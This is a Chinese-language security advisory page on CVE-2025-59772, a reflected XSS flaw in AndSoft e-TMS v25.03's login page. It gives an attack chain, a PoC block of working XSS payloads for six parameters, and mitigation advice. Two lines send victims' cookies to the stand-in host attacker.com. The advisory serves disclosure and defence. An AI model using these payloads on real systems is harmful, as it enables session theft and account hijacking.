IPBUF安全漏洞报告
English
CVE-2025-59772 CVSS 6.1 中危

CVE-2025-59772:AndSoft e-TMS 反射型XSS漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59772
漏洞类型
反射型跨站脚本(Reflected XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AndSoft e-TMS

相关标签

XSS反射型XSS跨站脚本AndSofte-TMSCVE-2025-59772中危漏洞Web应用安全INCIBE运输管理系统

漏洞概述

CVE-2025-59772 是 AndSoft 公司开发的 e-TMS(Electronic Transport Management System,电子运输管理系统)v25.03 版本中存在的一个反射型跨站脚本(Reflected XSS)漏洞。该漏洞于2025年10月2日由西班牙国家网络安全研究所(INCIBE)披露,CVSS 3.1 基础评分为 6.1 分,属于中危级别漏洞。

e-TMS 是一款广泛应用于物流和运输行业的管理系统,用于处理运输订单、车辆调度、物流跟踪等业务。由于该系统通常涉及企业内部敏感数据,如客户信息、运输合同、财务记录等,其安全性至关重要。

该漏洞存在于 e-TMS v25.03 的登录页面 '/clt/LOGINFRM_SIL.ASP' 中,涉及多个参数未经过充分的输入验证和输出编码,包括 'l'、'demo'、'demo2'、'TNTLOGIN'、'UO' 和 'SuppConn' 等参数。攻击者可以通过构造包含恶意 JavaScript 代码的 URL,诱骗受害者点击,从而在受害者的浏览器上下文中执行任意脚本代码。此类漏洞通常用于窃取用户会话凭证、劫持用户身份、进行钓鱼攻击或传播恶意软件。

由于该漏洞的攻击向量为网络(AV:N),无需认证(PR:N),且仅需要用户交互(UI:R),攻击者可以通过发送恶意链接(如通过电子邮件、即时通讯工具等方式)来实施攻击,利用门槛相对较低。

技术细节

该漏洞是一个典型的反射型跨站脚本(Reflected XSS)漏洞,其根本原因在于 e-TMS v25.03 的登录页面 '/clt/LOGINFRM_SIL.ASP' 在处理用户输入时,未对多个查询参数进行充分的过滤和输出编码。

具体而言,以下参数存在 XSS 注入风险:
- 'l' 参数
- 'demo' 参数
- 'demo2' 参数
- 'TNTLOGIN' 参数
- 'UO' 参数
- 'SuppConn' 参数

当用户访问包含恶意脚本的 URL 时,服务器会将这些参数的值直接反射到响应页面中,而未进行 HTML 实体编码或适当的转义处理。攻击者可以在这些参数中注入任意 JavaScript 代码(如 <script>alert('XSS')</script>),当受害者的浏览器解析该页面时,注入的脚本将在受害者的会话上下文中执行。

利用方式:
1. 攻击者构造一个包含恶意 JavaScript 代码的 URL,例如:
https://target-server/clt/LOGINFRM_SIL.ASP?demo=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
2. 攻击者通过社会工程学手段(如钓鱼邮件、即时消息等)诱骗受害者点击该 URL。
3. 受害者的浏览器加载该页面后,恶意脚本在受害者上下文中执行,可窃取会话 Cookie、重定向到恶意网站、修改页面内容或执行其他恶意操作。

该漏洞的 CVSS 向量为 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N,表明攻击复杂度低,无需权限,但需要用户交互,且作用域发生了变化(Scope Changed),意味着漏洞影响超出了易受攻击组件本身。

攻击链分析

STEP 1
步骤1:信息收集与目标确认
攻击者首先识别运行 AndSoft e-TMS v25.03 的目标服务器,通过网络扫描或搜索引擎发现暴露的登录页面 /clt/LOGINFRM_SIL.ASP。
STEP 2
步骤2:构造恶意 URL
攻击者分析登录页面的参数,识别出 'l'、'demo'、'demo2'、'TNTLOGIN'、'UO' 和 'SuppConn' 等参数存在 XSS 漏洞,并构造包含恶意 JavaScript 代码的 URL。
STEP 3
步骤3:社会工程学攻击
攻击者通过钓鱼邮件、即时通讯工具或社交媒体等方式,将恶意 URL 发送给目标用户,诱骗其点击。
STEP 4
步骤4:恶意脚本执行
受害者点击恶意 URL 后,浏览器加载目标页面,服务器将未编码的参数值直接反射到响应中,恶意 JavaScript 代码在受害者浏览器上下文中执行。
STEP 5
步骤5:数据窃取与权限滥用
恶意脚本可以窃取用户的会话 Cookie、获取敏感信息、执行未授权操作,或将受害者重定向到钓鱼页面进行进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Reflected XSS PoC for CVE-2025-59772 --> <!-- Vulnerable endpoint: /clt/LOGINFRM_SIL.ASP --> <!-- Vulnerable parameters: l, demo, demo2, TNTLOGIN, UO, SuppConn --> <!-- Basic XSS payload using 'demo' parameter --> https://target-server/clt/LOGINFRM_SIL.ASP?demo=<script>alert('XSS-CVE-2025-59772')</script> <!-- Cookie stealing payload using 'l' parameter --> https://target-server/clt/LOGINFRM_SIL.ASP?l=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- XSS payload using 'demo2' parameter --> https://target-server/clt/LOGINFRM_SIL.ASP?demo2=<script>alert(document.domain)</script> <!-- XSS payload using 'TNTLOGIN' parameter --> https://target-server/clt/LOGINFRM_SIL.ASP?TNTLOGIN=<img src=x onerror=alert('XSS')> <!-- XSS payload using 'UO' parameter --> https://target-server/clt/LOGINFRM_SIL.ASP?UO="><svg onload=alert(1)> <!-- XSS payload using 'SuppConn' parameter --> https://target-server/clt/LOGINFRM_SIL.ASP?SuppConn=<body onload=alert('XSS')>

影响范围

AndSoft e-TMS v25.03

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)对 /clt/LOGINFRM_SIL.ASP 页面的所有输入参数实施输入验证,过滤特殊字符(如 < > " ' 等);2)在 Web 服务器或反向代理层面配置规则,对包含可疑 XSS 载荷的请求进行拦截;3)部署 Web 应用防火墙(WAF)规则,检测和阻止常见的 XSS 攻击模式;4)为所有会话 Cookie 设置 HttpOnly 和 Secure 标志,降低 Cookie 被窃取的风险;5)向用户发出安全公告,提醒勿点击可疑链接;6)监控 Web 服务器日志,及时发现可疑的 XSS 攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表